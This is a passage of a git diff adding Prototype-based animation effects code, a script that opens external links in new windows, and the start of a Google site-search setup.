+      this.interval = setInterval(this.loop.bind(this), 15);
+  },
+  remove: function(effect) {
+    this.effects = this.effects.reject(function(e) { return e==effect });
+    if (this.effects.length == 0) {
+      clearInterval(this.interval);
+      this.interval = null;
+    }
+  },
+  loop: function() {
+    var timePos = new Date().getTime();
+    for(var i=0, len=this.effects.length;i<len;i++) 
+      this.effects[i] && this.effects[i].loop(timePos);
+  }
+});
+
+Effect.Queues = {
+  instances: $H(),
+  get: function(queueName) {
+    if (!Object.isString(queueName)) return queueName;
+    
+    return this.instances.get(queueName) ||
+      this.instances.set(queueName, new Effect.ScopedQueue());
+  }
+};
+Effect.Queue = Effect.Queues.get('global');
+
+Effect.Base = Class.create({
+  position: null,
+  start: function(options) {
+    function codeForEvent(options,eventName){
+      return (
+        (options[eventName+'Internal'] ? 'this.options.'+eventName+'Internal(this);' : '') +
+        (options[eventName] ? 'this.options.'+eventName+'(this);' : '')
+      );
+    }
+    if (options && options.transition === false) options.transition = Effect.Transitions.linear;
+    this.options      = Object.extend(Object.extend({ },Effect.DefaultOptions), options || { });
+    this.currentFrame = 0;
+    this.state        = 'idle';
+    this.startOn      = this.options.delay*1000;
+    this.finishOn     = this.startOn+(this.options.duration*1000);
+    this.fromToDelta  = this.options.to-this.options.from;
+    this.totalTime    = this.finishOn-this.startOn;
+    this.totalFrames  = this.options.fps*this.options.duration;
+    
+    eval('this.render = function(pos){ '+
+      'if (this.state=="idle"){this.state="running";'+
+      codeForEvent(this.options,'beforeSetup')+
+      (this.setup ? 'this.setup();':'')+ 
+      codeForEvent(this.options,'afterSetup')+
+      '};if (this.state=="running"){'+
+      'pos=this.options.transition(pos)*'+this.fromToDelta+'+'+this.options.from+';'+
+      'this.position=pos;'+
+      codeForEvent(this.options,'beforeUpdate')+
+      (this.update ? 'this.update(pos);':'')+
+      codeForEvent(this.options,'afterUpdate')+
+      '}}');
+    
+    this.event('beforeStart');
+    if (!this.options.sync)
+      Effect.Queues.get(Object.isString(this.options.queue) ? 
+        'global' : this.options.queue.scope).add(this);
+  },
+  loop: function(timePos) {
+    if (timePos >= this.startOn) {
+      if (timePos >= this.finishOn) {
+        this.render(1.0);
+        this.cancel();
+        this.event('beforeFinish');
+        if (this.finish) this.finish(); 
+        this.event('afterFinish');
+        return;  
+      }
+      var pos   = (timePos - this.startOn) / this.totalTime,
+          frame = (pos * this.totalFrames).round();
+      if (frame > this.currentFrame) {
+        this.render(pos);
+        this.currentFrame = frame;
+      }
+    }
+  },
+  cancel: function() {
+    if (!this.options.sync)
+      Effect.Queues.get(Object.isString(this.options.queue) ? 
+        'global' : this.options.queue.scope).remove(this);
+    this.state = 'finished';
+  },
+  event: function(eventName) {
+    if (this.options[eventName + 'Internal']) this.options[eventName + 'Internal'](this);
+    if (this.options[eventName]) this.options[eventName](this);
+  },
+  inspect: function() {
+    var data = $H();
+    for(property in this)
+      if (!Object.isFunction(this[property])) data.set(property, this[property]);
+    return '#<Effect:' + data.inspect() + ',options:' + $H(this.options).inspect() + '>';
+  }
+});
+
+Effect.Parallel = Class.create(Effect.Base, {
+  initialize: function(effects) {
+    this.effects = effects || [];
+    this.start(arguments[1]);
+  },
+  update: function(position) {
+    this.effects.invoke('render', position);
+  },
+  finish: function(position) {
+    this.effects.each( function(effect) {
+      effect.render(1.0);
+      effect.cancel();
+      effect.event('beforeFinish');
+      if (effect.finish) effect.finish(position);
+      effect.event('afterFinish');
+    });
+  }
+});
+
+Effect.Tween = Class.create(Effect.Base, {
+  initialize: function(object, from, to) {
+    object = Object.isString(object) ? $(object) : object;
+    var args = $A(arguments), method = args.last(), 
+      options = args.length == 5 ? args[3] : null;
+    this.method = Object.isFunction(method) ? method.bind(object) :
+      Object.isFunction(object[method]) ? object[method].bind(object) : 
+      function(value) { object[method] = value };
+    this.start(Object.extend({ from: from, to: to }, options || { }));
+  },
+  update: function(position) {
+    this.method(position);
+  }
+});
+
+Effect.Event = Class.create(Effect.Base, {
+  initialize: function() {
+    this.start(Object.extend({ duration: 0 }, arguments[0] || { }));
+  },
+  update: Prototype.emptyFunction
+});
+
+Effect.Opacity = Class.create(Effect.Base, {
+  initialize: function(element) {
+    this.element = $(element);
+    if (!this.element) throw(Effect._elementDoesNotExistError);
+    // make this work on IE on elements without 'layout'
+    if (Prototype.Browser.IE && (!this.element.currentStyle.hasLayout))
+      this.element.setStyle({zoom: 1});
+    var options = Object.extend({
+      from: this.element.getOpacity() || 0.0,
+      to:   1.0
+    }, arguments[1] || { });
+    this.start(options);
+  },
+  update: function(position) {
+    this.element.setOpacity(position);
+  }
+});
+
+Effect.Move = Class.create(Effect.Base, {
+  initialize: function(element) {
+    this.element = $(element);
+    if (!this.element) throw(Effect._elementDoesNotExistError);
+    var options = Object.extend({
+      x:    0,
+      y:    0,
+      mode: 'relative'
+    }, arguments[1] || { });
+    this.start(options);
+  },
+  setup: function() {
+    this.element.makePositioned();
+    this.originalLeft = parseFloat(this.element.getStyle('left') || '0');
+    this.originalTop  = parseFloat(this.element.getStyle('top')  || '0');
+    if (this.options.mode == 'absolute') {
+      this.options.x = this.options.x - this.originalLeft;
+      this.options.y = this.options.y - this.originalTop;
+    }
+  },
+  update: function(position) {
+    this.element.setStyle({
+      left: (this.options.x  * position + this.originalLeft).round() + 'px',
+      top:  (this.options.y  * position + this.originalTop).round()  + 'px'
+    });
+  }
+});
+
+// for backwards compatibility
+Effect.MoveBy = function(element, toTop, toLeft) {
+  return new Effect.Move(element, 
+    Object.extend({ x: toLeft, y: toTop }, arguments[3] || { }));
+};
+
+Effect.Scale = Class.create(Effect.Base, {
+  initialize: function(element, percent) {
+    this.element = $(element);
+    if (!this.element) throw(Effect._elementDoesNotExistError);
+    var options = Object.extend({
+      scaleX: true,
+      scaleY: true,
+      scaleContent: true,
+      scaleFromCenter: false,
+      scaleMode: 'box',        // 'box' or 'contents' or { } with provided values
+      scaleFrom: 100.0,
+      scaleTo:   percent
+    }, arguments[2] || { });
+    this.start(options);
+  },
+  setup: function() {
+    this.restoreAfterFinish = this.options.restoreAfterFinish || false;
+    this.elementPositioning = this.element.getStyle('position');
+    
+    this.originalStyle = { };
+    ['top','left','width','height','fontSize'].each( function(k) {
+      this.originalStyle[k] = this.element.style[k];
+    }.bind(this));
+      
+    this.originalTop  = this.element.offsetTop;
+    this.originalLeft = this.element.offsetLeft;
+    
+    var fontSize = this.element.getStyle('font-size') || '100%';
+    ['em','px','%','pt'].each( function(fontSizeType) {
+      if (fontSize.indexOf(fontSizeType)>0) {
+        this.fontSize     = parseFloat(fontSize);
+        this.fontSizeType = fontSizeType;
+      }
+    }.bind(this));
+    
+    this.factor = (this.options.scaleTo - this.options.scaleFrom)/100;
+    
+    this.dims = null;
+    if (this.options.scaleMode=='box')
+      this.dims = [this.element.offsetHeight, this.element.offsetWidth];
+    if (/^content/.test(this.options.scaleMode))
+      this.dims = [this.element.scrollHeight, this.element.scrollWidth];
+    if (!this.dims)
+      this.dims = [this.options.scaleMode.originalHeight,
+                   this.options.scaleMode.originalWidth];
+  },
+  update: function(position) {
+    var currentScale = (this.options.scaleFrom/100.0) + (this.factor * position);
+    if (this.options.scaleContent && this.fontSize)
+      this.element.setStyle({fontSize: this.fontSize * currentScale + this.fontSizeType });
+    this.setDimensions(this.dims[0] * currentScale, this.dims[1] * currentScale);
+  },
+  finish: function(position) {
+    if (this.restoreAfterFinish) this.element.setStyle(this.originalStyle);
+  },
+  setDimensions: function(height, width) {
+    var d = { };
+    if (this.options.scaleX) d.width = width.round() + 'px';
+    if (this.options.scaleY) d.height = height.round() + 'px';
+    if (this.options.scaleFromCenter) {
+      var topd  = (height - this.dims[0])/2;
+      var leftd = (width  - this.dims[1])/2;
+      if (this.elementPositioning == 'absolute') {
+        if (this.options.scaleY) d.top = this.originalTop-topd + 'px';
+        if (this.options.scaleX) d.left = this.originalLeft-leftd + 'px';
+      } else {
+        if (this.options.scaleY) d.top = -topd + 'px';
+        if (this.options.scaleX) d.left = -leftd + 'px';
+      }
+    }
+    this.element.setStyle(d);
+  }
+});
+
+Effect.Highlight = Class.create(Effect.Base, {
+  initialize: function(element) {
+    this.element = $(element);
+    if (!this.element) throw(Effect._elementDoesNotExistError);
+    var options = Object.extend({ startcolor: '#ffff99' }, arguments[1] || { });
+    this.start(options);
+  },
+  setup: function() {
+    // Prevent executing on elements not in the layout flow
+    if (this.element.getStyle('display')=='none') { this.cancel(); return; }
+    // Disable background image during the effect
+    this.oldStyle = { };
+    if (!this.options.keepBackgroundImage) {
+      this.oldStyle.backgroundImage = this.element.getStyle('background-image');
+      this.element.setStyle({backgroundImage: 'none'});
+    }
+    if (!this.options.endcolor)
+      this.options.endcolor = this.element.getStyle('background-color').parseColor('#ffffff');
+    if (!this.options.restorecolor)
+      this.options.restorecolor = this.element.getStyle('background-color');
+    // init color calculations
+    this._base  = $R(0,2).map(function(i){ return parseInt(this.options.startcolor.slice(i*2+1,i*2+3),16) }.bind(this));
+    this._delta = $R(0,2).map(function(i){ return parseInt(this.options.endcolor.slice(i*2+1,i*2+3),16)-this._base[i] }.bind(this));
+  },
+  update: function(position) {
+    this.element.setStyle({backgroundColor: $R(0,2).inject('#',function(m,v,i){
+      return m+((this._base[i]+(this._delta[i]*position)).round().toColorPart()); }.bind(this)) });
+  },
+  finish: function() {
+    this.element.setStyle(Object.extend(this.oldStyle, {
+      backgroundColor: this.options.restorecolor
+    }));
+  }
+});
+
+Effect.ScrollTo = function(element) {
+  var options = arguments[1] || { },
+    scrollOffsets = document.viewport.getScrollOffsets(),
+    elementOffsets = $(element).cumulativeOffset(),
+    max = (window.height || document.body.scrollHeight) - document.viewport.getHeight();  
+
+  if (options.offset) elementOffsets[1] += options.offset;
+
+  return new Effect.Tween(null,
+    scrollOffsets.top,
+    elementOffsets[1] > max ? max : elementOffsets[1],
+    options,
+    function(p){ scrollTo(scrollOffsets.left, p.round()) }
+  );
+};
+
+/* ------------- combination effects ------------- */
+
+Effect.Fade = function(element) {
+  element = $(element);
+  var oldOpacity = element.getInlineOpacity();
+  var options = Object.extend({
+    from: element.getOpacity() || 1.0,
+    to:   0.0,
+    afterFinishInternal: function(effect) { 
+      if (effect.options.to!=0) return;
+      effect.element.hide().setStyle({opacity: oldOpacity}); 
+    }
+  }, arguments[1] || { });
+  return new Effect.Opacity(element,options);
+};
+
+Effect.Appear = function(element) {
+  element = $(element);
+  var options = Object.extend({
+  from: (element.getStyle('display') == 'none' ? 0.0 : element.getOpacity() || 0.0),
+  to:   1.0,
+  // force Safari to render floated elements properly
+  afterFinishInternal: function(effect) {
+    effect.element.forceRerendering();
+  },
+  beforeSetup: function(effect) {
+    effect.element.setOpacity(effect.options.from).show(); 
+  }}, arguments[1] || { });
+  return new Effect.Opacity(element,options);
+};
+
+Effect.Puff = function(element) {
+  element = $(element);
+  var oldStyle = { 
+    opacity: element.getInlineOpacity(), 
+    position: element.getStyle('position'),
+    top:  element.style.top,
+    left: element.style.left,
+    width: element.style.width,
+    height: element.style.height
+  };
+  return new Effect.Parallel(
+   [ new Effect.Scale(element, 200, 
+      { sync: true, scaleFromCenter: true, scaleContent: true, restoreAfterFinish: true }), 
+     new Effect.Opacity(element, { sync: true, to: 0.0 } ) ], 
+     Object.extend({ duration: 1.0, 
+      beforeSetupInternal: function(effect) {
+        Position.absolutize(effect.effects[0].element)
+      },
+      afterFinishInternal: function(effect) {
+         effect.effects[0].element.hide().setStyle(oldStyle); }
+     }, arguments[1] || { })
+   );
+};
+
+Effect.BlindUp = function(element) {
+  element = $(element);
+  element.makeClipping();
+  return new Effect.Scale(element, 0,
+    Object.extend({ scaleContent: false, 
+      scaleX: false, 
+      restoreAfterFinish: true,
+      afterFinishInternal: function(effect) {
+        effect.element.hide().undoClipping();
+      } 
+    }, arguments[1] || { })
+  );
+};
+
+Effect.BlindDown = function(element) {
+  element = $(element);
+  var elementDimensions = element.getDimensions();
+  return new Effect.Scale(element, 100, Object.extend({ 
+    scaleContent: false, 
+    scaleX: false,
+    scaleFrom: 0,
+    scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width},
+    restoreAfterFinish: true,
+    afterSetup: function(effect) {
+      effect.element.makeClipping().setStyle({height: '0px'}).show(); 
+    },  
+    afterFinishInternal: function(effect) {
+      effect.element.undoClipping();
+    }
+  }, arguments[1] || { }));
+};
+
+Effect.SwitchOff = function(element) {
+  element = $(element);
+  var oldOpacity = element.getInlineOpacity();
+  return new Effect.Appear(element, Object.extend({
+    duration: 0.4,
+    from: 0,
+    transition: Effect.Transitions.flicker,
+    afterFinishInternal: function(effect) {
+      new Effect.Scale(effect.element, 1, { 
+        duration: 0.3, scaleFromCenter: true,
+        scaleX: false, scaleContent: false, restoreAfterFinish: true,
+        beforeSetup: function(effect) { 
+          effect.element.makePositioned().makeClipping();
+        },
+        afterFinishInternal: function(effect) {
+          effect.element.hide().undoClipping().undoPositioned().setStyle({opacity: oldOpacity});
+        }
+      })
+    }
+  }, arguments[1] || { }));
+};
+
+Effect.DropOut = function(element) {
+  element = $(element);
+  var oldStyle = {
+    top: element.getStyle('top'),
+    left: element.getStyle('left'),
+    opacity: element.getInlineOpacity() };
+  return new Effect.Parallel(
+    [ new Effect.Move(element, {x: 0, y: 100, sync: true }), 
+      new Effect.Opacity(element, { sync: true, to: 0.0 }) ],
+    Object.extend(
+      { duration: 0.5,
+        beforeSetup: function(effect) {
+          effect.effects[0].element.makePositioned(); 
+        },
+        afterFinishInternal: function(effect) {
+          effect.effects[0].element.hide().undoPositioned().setStyle(oldStyle);
+        } 
+      }, arguments[1] || { }));
+};
+
+Effect.Shake = function(element) {
+  element = $(element);
+  var options = Object.extend({
+    distance: 20,
+    duration: 0.5
+  }, arguments[1] || {});
+  var distance = parseFloat(options.distance);
+  var split = parseFloat(options.duration) / 10.0;
+  var oldStyle = {
+    top: element.getStyle('top'),
+    left: element.getStyle('left') };
+    return new Effect.Move(element,
+      { x:  distance, y: 0, duration: split, afterFinishInternal: function(effect) {
+    new Effect.Move(effect.element,
+      { x: -distance*2, y: 0, duration: split*2,  afterFinishInternal: function(effect) {
+    new Effect.Move(effect.element,
+      { x:  distance*2, y: 0, duration: split*2,  afterFinishInternal: function(effect) {
+    new Effect.Move(effect.element,
+      { x: -distance*2, y: 0, duration: split*2,  afterFinishInternal: function(effect) {
+    new Effect.Move(effect.element,
+      { x:  distance*2, y: 0, duration: split*2,  afterFinishInternal: function(effect) {
+    new Effect.Move(effect.element,
+      { x: -distance, y: 0, duration: split, afterFinishInternal: function(effect) {
+        effect.element.undoPositioned().setStyle(oldStyle);
+  }}) }}) }}) }}) }}) }});
+};
+
+Effect.SlideDown = function(element) {
+  element = $(element).cleanWhitespace();
+  // SlideDown need to have the content of the element wrapped in a container element with fixed height!
+  var oldInnerBottom = element.down().getStyle('bottom');
+  var elementDimensions = element.getDimensions();
+  return new Effect.Scale(element, 100, Object.extend({ 
+    scaleContent: false, 
+    scaleX: false, 
+    scaleFrom: window.opera ? 0 : 1,
+    scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width},
+    restoreAfterFinish: true,
+    afterSetup: function(effect) {
+      effect.element.makePositioned();
+      effect.element.down().makePositioned();
+      if (window.opera) effect.element.setStyle({top: ''});
+      effect.element.makeClipping().setStyle({height: '0px'}).show(); 
+    },
+    afterUpdateInternal: function(effect) {
+      effect.element.down().setStyle({bottom:
+        (effect.dims[0] - effect.element.clientHeight) + 'px' }); 
+    },
+    afterFinishInternal: function(effect) {
+      effect.element.undoClipping().undoPositioned();
+      effect.element.down().undoPositioned().setStyle({bottom: oldInnerBottom}); }
+    }, arguments[1] || { })
+  );
+};
+
+Effect.SlideUp = function(element) {
+  element = $(element).cleanWhitespace();
+  var oldInnerBottom = element.down().getStyle('bottom');
+  var elementDimensions = element.getDimensions();
+  return new Effect.Scale(element, window.opera ? 0 : 1,
+   Object.extend({ scaleContent: false, 
+    scaleX: false, 
+    scaleMode: 'box',
+    scaleFrom: 100,
+    scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width},
+    restoreAfterFinish: true,
+    afterSetup: function(effect) {
+      effect.element.makePositioned();
+      effect.element.down().makePositioned();
+      if (window.opera) effect.element.setStyle({top: ''});
+      effect.element.makeClipping().show();
+    },  
+    afterUpdateInternal: function(effect) {
+      effect.element.down().setStyle({bottom:
+        (effect.dims[0] - effect.element.clientHeight) + 'px' });
+    },
+    afterFinishInternal: function(effect) {
+      effect.element.hide().undoClipping().undoPositioned();
+      effect.element.down().undoPositioned().setStyle({bottom: oldInnerBottom});
+    }
+   }, arguments[1] || { })
+  );
+};
+
+// Bug in opera makes the TD containing this element expand for a instance after finish 
+Effect.Squish = function(element) {
+  return new Effect.Scale(element, window.opera ? 1 : 0, { 
+    restoreAfterFinish: true,
+    beforeSetup: function(effect) {
+      effect.element.makeClipping(); 
+    },  
+    afterFinishInternal: function(effect) {
+      effect.element.hide().undoClipping(); 
+    }
+  });
+};
+
+Effect.Grow = function(element) {
+  element = $(element);
+  var options = Object.extend({
+    direction: 'center',
+    moveTransition: Effect.Transitions.sinoidal,
+    scaleTransition: Effect.Transitions.sinoidal,
+    opacityTransition: Effect.Transitions.full
+  }, arguments[1] || { });
+  var oldStyle = {
+    top: element.style.top,
+    left: element.style.left,
+    height: element.style.height,
+    width: element.style.width,
+    opacity: element.getInlineOpacity() };
+
+  var dims = element.getDimensions();    
+  var initialMoveX, initialMoveY;
+  var moveX, moveY;
+  
+  switch (options.direction) {
+    case 'top-left':
+      initialMoveX = initialMoveY = moveX = moveY = 0; 
+      break;
+    case 'top-right':
+      initialMoveX = dims.width;
+      initialMoveY = moveY = 0;
+      moveX = -dims.width;
+      break;
+    case 'bottom-left':
+      initialMoveX = moveX = 0;
+      initialMoveY = dims.height;
+      moveY = -dims.height;
+      break;
+    case 'bottom-right':
+      initialMoveX = dims.width;
+      initialMoveY = dims.height;
+      moveX = -dims.width;
+      moveY = -dims.height;
+      break;
+    case 'center':
+      initialMoveX = dims.width / 2;
+      initialMoveY = dims.height / 2;
+      moveX = -dims.width / 2;
+      moveY = -dims.height / 2;
+      break;
+  }
+  
+  return new Effect.Move(element, {
+    x: initialMoveX,
+    y: initialMoveY,
+    duration: 0.01, 
+    beforeSetup: function(effect) {
+      effect.element.hide().makeClipping().makePositioned();
+    },
+    afterFinishInternal: function(effect) {
+      new Effect.Parallel(
+        [ new Effect.Opacity(effect.element, { sync: true, to: 1.0, from: 0.0, transition: options.opacityTransition }),
+          new Effect.Move(effect.element, { x: moveX, y: moveY, sync: true, transition: options.moveTransition }),
+          new Effect.Scale(effect.element, 100, {
+            scaleMode: { originalHeight: dims.height, originalWidth: dims.width }, 
+            sync: true, scaleFrom: window.opera ? 1 : 0, transition: options.scaleTransition, restoreAfterFinish: true})
+        ], Object.extend({
+             beforeSetup: function(effect) {
+               effect.effects[0].element.setStyle({height: '0px'}).show(); 
+             },
+             afterFinishInternal: function(effect) {
+               effect.effects[0].element.undoClipping().undoPositioned().setStyle(oldStyle); 
+             }
+           }, options)
+      )
+    }
+  });
+};
+
+Effect.Shrink = function(element) {
+  element = $(element);
+  var options = Object.extend({
+    direction: 'center',
+    moveTransition: Effect.Transitions.sinoidal,
+    scaleTransition: Effect.Transitions.sinoidal,
+    opacityTransition: Effect.Transitions.none
+  }, arguments[1] || { });
+  var oldStyle = {
+    top: element.style.top,
+    left: element.style.left,
+    height: element.style.height,
+    width: element.style.width,
+    opacity: element.getInlineOpacity() };
+
+  var dims = element.getDimensions();
+  var moveX, moveY;
+  
+  switch (options.direction) {
+    case 'top-left':
+      moveX = moveY = 0;
+      break;
+    case 'top-right':
+      moveX = dims.width;
+      moveY = 0;
+      break;
+    case 'bottom-left':
+      moveX = 0;
+      moveY = dims.height;
+      break;
+    case 'bottom-right':
+      moveX = dims.width;
+      moveY = dims.height;
+      break;
+    case 'center':  
+      moveX = dims.width / 2;
+      moveY = dims.height / 2;
+      break;
+  }
+  
+  return new Effect.Parallel(
+    [ new Effect.Opacity(element, { sync: true, to: 0.0, from: 1.0, transition: options.opacityTransition }),
+      new Effect.Scale(element, window.opera ? 1 : 0, { sync: true, transition: options.scaleTransition, restoreAfterFinish: true}),
+      new Effect.Move(element, { x: moveX, y: moveY, sync: true, transition: options.moveTransition })
+    ], Object.extend({            
+         beforeStartInternal: function(effect) {
+           effect.effects[0].element.makePositioned().makeClipping(); 
+         },
+         afterFinishInternal: function(effect) {
+           effect.effects[0].element.hide().undoClipping().undoPositioned().setStyle(oldStyle); }
+       }, options)
+  );
+};
+
+Effect.Pulsate = function(element) {
+  element = $(element);
+  var options    = arguments[1] || { };
+  var oldOpacity = element.getInlineOpacity();
+  var transition = options.transition || Effect.Transitions.sinoidal;
+  var reverser   = function(pos){ return transition(1-Effect.Transitions.pulse(pos, options.pulses)) };
+  reverser.bind(transition);
+  return new Effect.Opacity(element, 
+    Object.extend(Object.extend({  duration: 2.0, from: 0,
+      afterFinishInternal: function(effect) { effect.element.setStyle({opacity: oldOpacity}); }
+    }, options), {transition: reverser}));
+};
+
+Effect.Fold = function(element) {
+  element = $(element);
+  var oldStyle = {
+    top: element.style.top,
+    left: element.style.left,
+    width: element.style.width,
+    height: element.style.height };
+  element.makeClipping();
+  return new Effect.Scale(element, 5, Object.extend({   
+    scaleContent: false,
+    scaleX: false,
+    afterFinishInternal: function(effect) {
+    new Effect.Scale(element, 1, { 
+      scaleContent: false, 
+      scaleY: false,
+      afterFinishInternal: function(effect) {
+        effect.element.hide().undoClipping().setStyle(oldStyle);
+      } });
+  }}, arguments[1] || { }));
+};
+
+Effect.Morph = Class.create(Effect.Base, {
+  initialize: function(element) {
+    this.element = $(element);
+    if (!this.element) throw(Effect._elementDoesNotExistError);
+    var options = Object.extend({
+      style: { }
+    }, arguments[1] || { });
+    
+    if (!Object.isString(options.style)) this.style = $H(options.style);
+    else {
+      if (options.style.include(':'))
+        this.style = options.style.parseStyle();
+      else {
+        this.element.addClassName(options.style);
+        this.style = $H(this.element.getStyles());
+        this.element.removeClassName(options.style);
+        var css = this.element.getStyles();
+        this.style = this.style.reject(function(style) {
+          return style.value == css[style.key];
+        });
+        options.afterFinishInternal = function(effect) {
+          effect.element.addClassName(effect.options.style);
+          effect.transforms.each(function(transform) {
+            effect.element.style[transform.style] = '';
+          });
+        }
+      }
+    }
+    this.start(options);
+  },
+  
+  setup: function(){
+    function parseColor(color){
+      if (!color || ['rgba(0, 0, 0, 0)','transparent'].include(color)) color = '#ffffff';
+      color = color.parseColor();
+      return $R(0,2).map(function(i){
+        return parseInt( color.slice(i*2+1,i*2+3), 16 ) 
+      });
+    }
+    this.transforms = this.style.map(function(pair){
+      var property = pair[0], value = pair[1], unit = null;
+
+      if (value.parseColor('#zzzzzz') != '#zzzzzz') {
+        value = value.parseColor();
+        unit  = 'color';
+      } else if (property == 'opacity') {
+        value = parseFloat(value);
+        if (Prototype.Browser.IE && (!this.element.currentStyle.hasLayout))
+          this.element.setStyle({zoom: 1});
+      } else if (Element.CSS_LENGTH.test(value)) {
+          var components = value.match(/^([\+\-]?[0-9\.]+)(.*)$/);
+          value = parseFloat(components[1]);
+          unit = (components.length == 3) ? components[2] : null;
+      }
+
+      var originalValue = this.element.getStyle(property);
+      return { 
+        style: property.camelize(), 
+        originalValue: unit=='color' ? parseColor(originalValue) : parseFloat(originalValue || 0), 
+        targetValue: unit=='color' ? parseColor(value) : value,
+        unit: unit
+      };
+    }.bind(this)).reject(function(transform){
+      return (
+        (transform.originalValue == transform.targetValue) ||
+        (
+          transform.unit != 'color' &&
+          (isNaN(transform.originalValue) || isNaN(transform.targetValue))
+        )
+      )
+    });
+  },
+  update: function(position) {
+    var style = { }, transform, i = this.transforms.length;
+    while(i--)
+      style[(transform = this.transforms[i]).style] = 
+        transform.unit=='color' ? '#'+
+          (Math.round(transform.originalValue[0]+
+            (transform.targetValue[0]-transform.originalValue[0])*position)).toColorPart() +
+          (Math.round(transform.originalValue[1]+
+            (transform.targetValue[1]-transform.originalValue[1])*position)).toColorPart() +
+          (Math.round(transform.originalValue[2]+
+            (transform.targetValue[2]-transform.originalValue[2])*position)).toColorPart() :
+        (transform.originalValue +
+          (transform.targetValue - transform.originalValue) * position).toFixed(3) + 
+            (transform.unit === null ? '' : transform.unit);
+    this.element.setStyle(style, true);
+  }
+});
+
+Effect.Transform = Class.create({
+  initialize: function(tracks){
+    this.tracks  = [];
+    this.options = arguments[1] || { };
+    this.addTracks(tracks);
+  },
+  addTracks: function(tracks){
+    tracks.each(function(track){
+      track = $H(track);
+      var data = track.values().first();
+      this.tracks.push($H({
+        ids:     track.keys().first(),
+        effect:  Effect.Morph,
+        options: { style: data }
+      }));
+    }.bind(this));
+    return this;
+  },
+  play: function(){
+    return new Effect.Parallel(
+      this.tracks.map(function(track){
+        var ids = track.get('ids'), effect = track.get('effect'), options = track.get('options');
+        var elements = [$(ids) || $$(ids)].flatten();
+        return elements.map(function(e){ return new effect(e, Object.extend({ sync:true }, options)) });
+      }).flatten(),
+      this.options
+    );
+  }
+});
+
+Element.CSS_PROPERTIES = $w(
+  'backgroundColor backgroundPosition borderBottomColor borderBottomStyle ' + 
+  'borderBottomWidth borderLeftColor borderLeftStyle borderLeftWidth ' +
+  'borderRightColor borderRightStyle borderRightWidth borderSpacing ' +
+  'borderTopColor borderTopStyle borderTopWidth bottom clip color ' +
+  'fontSize fontWeight height left letterSpacing lineHeight ' +
+  'marginBottom marginLeft marginRight marginTop markerOffset maxHeight '+
+  'maxWidth minHeight minWidth opacity outlineColor outlineOffset ' +
+  'outlineWidth paddingBottom paddingLeft paddingRight paddingTop ' +
+  'right textIndent top width wordSpacing zIndex');
+  
+Element.CSS_LENGTH = /^(([\+\-]?[0-9\.]+)(em|ex|px|in|cm|mm|pt|pc|\%))|0$/;
+
+String.__parseStyleElement = document.createElement('div');
+String.prototype.parseStyle = function(){
+  var style, styleRules = $H();
+  if (Prototype.Browser.WebKit)
+    style = new Element('div',{style:this}).style;
+  else {
+    String.__parseStyleElement.innerHTML = '<div style="' + this + '"></div>';
+    style = String.__parseStyleElement.childNodes[0].style;
+  }
+  
+  Element.CSS_PROPERTIES.each(function(property){
+    if (style[property]) styleRules.set(property, style[property]); 
+  });
+  
+  if (Prototype.Browser.IE && this.include('opacity'))
+    styleRules.set('opacity', this.match(/opacity:\s*((?:0|1)?(?:\.\d*)?)/)[1]);
+
+  return styleRules;
+};
+
+if (document.defaultView && document.defaultView.getComputedStyle) {
+  Element.getStyles = function(element) {
+    var css = document.defaultView.getComputedStyle($(element), null);
+    return Element.CSS_PROPERTIES.inject({ }, function(styles, property) {
+      styles[property] = css[property];
+      return styles;
+    });
+  };
+} else {
+  Element.getStyles = function(element) {
+    element = $(element);
+    var css = element.currentStyle, styles;
+    styles = Element.CSS_PROPERTIES.inject({ }, function(hash, property) {
+      hash.set(property, css[property]);
+      return hash;
+    });
+    if (!styles.opacity) styles.set('opacity', element.getOpacity());
+    return styles;
+  };
+};
+
+Effect.Methods = {
+  morph: function(element, style) {
+    element = $(element);
+    new Effect.Morph(element, Object.extend({ style: style }, arguments[2] || { }));
+    return element;
+  },
+  visualEffect: function(element, effect, options) {
+    element = $(element)
+    var s = effect.dasherize().camelize(), klass = s.charAt(0).toUpperCase() + s.substring(1);
+    new Effect[klass](element, options);
+    return element;
+  },
+  highlight: function(element, options) {
+    element = $(element);
+    new Effect.Highlight(element, options);
+    return element;
+  }
+};
+
+$w('fade appear grow shrink fold blindUp blindDown slideUp slideDown '+
+  'pulsate shake puff squish switchOff dropOut').each(
+  function(effect) { 
+    Effect.Methods[effect] = function(element, options){
+      element = $(element);
+      Effect[effect.charAt(0).toUpperCase() + effect.substring(1)](element, options);
+      return element;
+    }
+  }
+);
+
+$w('getInlineOpacity forceRerendering setContentZoom collectTextNodes collectTextNodesIgnoreClass getStyles').each( 
+  function(f) { Effect.Methods[f] = Element[f]; }
+);
+
+Element.addMethods(Effect.Methods);
diff --git a/libjs/external.js b/libjs/external.js
new file mode 100644 (file)
index 0000000..a080c66
--- /dev/null
@@ -0,0 +1,27 @@
+function externalLinks() 
+{
+       if(!document.getElementsByTagName)
+       {
+               return;
+       }
+       var anchors = document.getElementsByTagName("a");
+       var msg = '';
+       var tHref = '';
+       var baseurl = document.baseURI;
+       msg +=  baseurl + '\n';
+       for(var i=0; i<anchors.length; i++)
+       {
+               var anchor = anchors[i];
+               var pattern = /\/www.travelbrochure.com|www.travelbrochure.com\//
+               var pattern2 = /^https?:/
+               tHref = anchor.getAttribute("href");
+               if( tHref != '' && pattern2.test(tHref) )
+               {
+                       if( !pattern.test(tHref) )
+                       {
+                       anchor.target = "_blank";
+                       }
+               }
+       }
+}
+window.onload = externalLinks;
diff --git a/libjs/gsearch.php b/libjs/gsearch.php
new file mode 100755 (executable)
index 0000000..572fff0
--- /dev/null
@@ -0,0 +1,32 @@
+//google.load("search", "1");
+google.load("search", "1", {"nocss" : true});
+
+function initGoogleSearch()
+{
+    // create WebSearch with restriction to website
+    var siteSearch = new google.search.WebSearch();
+    siteSearch.setUserDefinedLabel("gaslightmedia.com");
+    siteSearch.setUserDefinedClassSuffix("siteSearch");
+    siteSearch.setSiteRestriction("gaslightmedia.com");
+    
+    // create options for searchControl
+    var options = new google.search.SearcherOptions();
+    options.setExpandMode(google.search.SearchControl.EXPAND_MODE_OPEN);
+
+    // create the searchControl
+    var searchControl = new google.search.SearchControl();
+    searchControl.addSearcher(siteSearch, options);
+    searchControl.setResultSetSize(google.search.Search.LARGE_RESULTSET);
+
+    // create draw options for searchControl
+    var drawOptions = new google.search.DrawOptions();
+    drawOptions.setDrawMode(google.search.SearchControl.DRAW_MODE_LINEAR);
+
